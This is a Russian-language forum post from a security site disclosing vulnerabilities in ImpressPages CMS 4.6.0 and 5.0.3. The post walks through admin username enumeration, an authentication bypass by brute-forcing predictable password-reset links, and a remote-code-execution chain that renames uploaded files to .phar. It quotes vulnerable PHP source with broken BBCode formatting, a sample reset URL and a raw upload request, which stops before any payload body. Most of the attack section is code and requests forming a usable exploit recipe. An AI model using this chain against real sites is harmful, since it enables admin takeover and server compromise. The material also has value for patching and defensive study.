HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 18.06.2021, 11:47
Baskin-Robbins
Guest
Сообщений: n/a
Провел на форуме:
92829

Репутация: 212
По умолчанию

Сайт - impresspages.org

Версия 4.6.0 (+ 5.0.3)

Admin login|email harvestering

Разные ошибки для неправильного логина и пароля, позволяет перебрать админский логин.

Bypass auth

Зависимости

-- Наличие админского логина

-- Локальное время сервера

Ip/Internal/Administrators/Model.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]private static function[/COLOR][COLOR="#0000BB"]generatePasswordResetSecret[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$userId[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]$secret[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]ipConfig[/COLOR][COLOR="#007700"]()->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'sessionName'[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#0000BB"]uniqid[/COLOR][COLOR="#007700"]());
[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]= array(
[/
COLOR][COLOR="#DD0000"]'resetSecret'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$secret[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'resetTime'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]time[/COLOR][COLOR="#007700"]()
);
[/
COLOR][COLOR="#0000BB"]ipDb[/COLOR][COLOR="#007700"]()->[/COLOR][COLOR="#0000BB"]update[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'administrator'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"], array([/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$userId[/COLOR][COLOR="#007700"]));
return[/COLOR][COLOR="#0000BB"]$secret[/COLOR][COLOR="#007700"];
}
[/
COLOR][/COLOR
Линк на смену пароля генерируется из сессии + unix timestamp.

Генерируем список ссылок - брутим.

Код:
Code:
http://ip4.localhost.com/?sa=Admin.passwordReset&id=1&secret=b0d1993093080751147b5ab92d934d02
RCE

Зависимости:

-- Админские привилегии

-- Разрешение на выполнение phar

В админке все взаимодействие строится на подключенных модулях и вызова их методов.

Мы можем вызвать любой метод, определенный в AdminController.php, соответсвующих

модулей ядра и плагинов.

Загрузка файлов происходит без проверки содержимого, проверка расширения по белому листу.

И даже если бы могли грузить php, нам мешает .htaccess

Код:
Code:

deny from all
Что можно с этим сделать?

Метод storeNewFiles() - перемещение загруженных файлов в папку file/repository

из file/tmp - причем мы можем это сделать сменив расширение. В папку secure

грузить смысла нет, так как второй .htaccess блочит доступ. Нам сгодится phar.

Ip/Internal/Repository/AdminController.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]public function[/COLOR][COLOR="#0000BB"]storeNewFiles[/COLOR][COLOR="#007700"]()
{
[/
COLOR][COLOR="#0000BB"]ipRequest[/COLOR][COLOR="#007700"]()->[/COLOR][COLOR="#0000BB"]mustBePost[/COLOR][COLOR="#007700"]();
[/
COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]ipRequest[/COLOR][COLOR="#007700"]()->[/COLOR][COLOR="#0000BB"]getPost[/COLOR][COLOR="#007700"]();
[/
COLOR][COLOR="#0000BB"]$secure[/COLOR][COLOR="#007700"]= !empty([/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'secure'[/COLOR][COLOR="#007700"]]);
[/
COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]= isset([/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'path'[/COLOR][COLOR="#007700"]]) ?[/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'path'[/COLOR][COLOR="#007700"]] :[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$browserModel[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]BrowserModel[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]instance[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]$browserModel[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]pathMustBeInRepository[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$secure[/COLOR][COLOR="#007700"]);

if (!isset([/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'files'[/COLOR][COLOR="#007700"]]) || ![/COLOR][COLOR="#0000BB"]is_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'files'[/COLOR][COLOR="#007700"]])) {
return new \[/COLOR][COLOR="#0000BB"]Ip[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]Response[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]Json[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#DD0000"]'status'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'error'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'errorMessage'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Missing POST variable'[/COLOR][COLOR="#007700"]));
}

[/
COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]= isset([/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'files'[/COLOR][COLOR="#007700"]]) ?[/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'files'[/COLOR][COLOR="#007700"]] : [];

[/
COLOR][COLOR="#0000BB"]$newFiles[/COLOR][COLOR="#007700"]= [];

[/
COLOR][COLOR="#0000BB"]$destination[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$browserModel[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getPath[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$secure[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]);

foreach ([/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$sourceDir[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'file/tmp/'[/COLOR][COLOR="#007700"];
if ([/COLOR][COLOR="#0000BB"]$secure[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$sourceDir[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'file/secure/tmp/'[/COLOR][COLOR="#007700"];
}

[/
COLOR][COLOR="#0000BB"]$source[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]ipFile[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sourceDir[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'fileName'[/COLOR][COLOR="#007700"]]);
[/
COLOR][COLOR="#0000BB"]$source[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]realpath[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$source[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//to avoid any tricks with relative paths, etc.
[/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$source[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]realpath[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]ipFile[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sourceDir[/COLOR][COLOR="#007700"]))) !==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]ipLog[/COLOR][COLOR="#007700"]()->[/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Core.triedToAccessNonPublicFile'[/COLOR][COLOR="#007700"], array([/COLOR][COLOR="#DD0000"]'file'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'fileName'[/COLOR][COLOR="#007700"]]));
continue;
}

[/
COLOR][COLOR="#0000BB"]$newName[/COLOR][COLOR="#007700"]= \[/COLOR][COLOR="#0000BB"]Ip[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]Internal[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]File[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]Functions[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]genUnoccupiedName[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'renameTo'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$destination[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]copy[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$source[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$destination[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$newName[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$source[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//this is a temporary file
[/COLOR][COLOR="#0000BB"]$browserModel[/COLOR][COLOR="#007700"]= \[/COLOR][COLOR="#0000BB"]Ip[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]Internal[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]Repository[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]BrowserModel[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]instance[/COLOR][COLOR="#007700"]();
[/
COLOR][COLOR="#0000BB"]$newFile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$browserModel[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getFile[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$newName[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$secure[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$newFiles[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$newFile[/COLOR][COLOR="#007700"];
}
[/
COLOR][COLOR="#0000BB"]$answer[/COLOR][COLOR="#007700"]= array(
[/
COLOR][COLOR="#DD0000"]'status'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'success'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'files'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$newFiles
[/COLOR][COLOR="#007700"]);

return new \[/COLOR][COLOR="#0000BB"]Ip[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]Response[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]Json[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$answer[/COLOR][COLOR="#007700"]);
}
[/
COLOR][/COLOR
Запрос на загрузку файла

[CODE]
Code:
POST / HTTP/1.1
Host: ip4.localhost.com
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ip4.localhost.com/dddddddddddddddd/
Content-Type: multipart/form-data; boundary=---------------------------66207624121407658211508896721
Content-Length: 750
DNT: 1
Connection: close
Cookie: ses311298187=rg1gc0d7bru1k2no5mkisue2km;
Sec-GPC: 1

-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="name"

1.jpg
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="sa"

Repository.upload
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="secureFolder"

0
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="securityToken"

eb763756cb06598270d99b1ab71b0bc6
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="file"; filename="4.php"
Content-Type: application/octet-stream
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ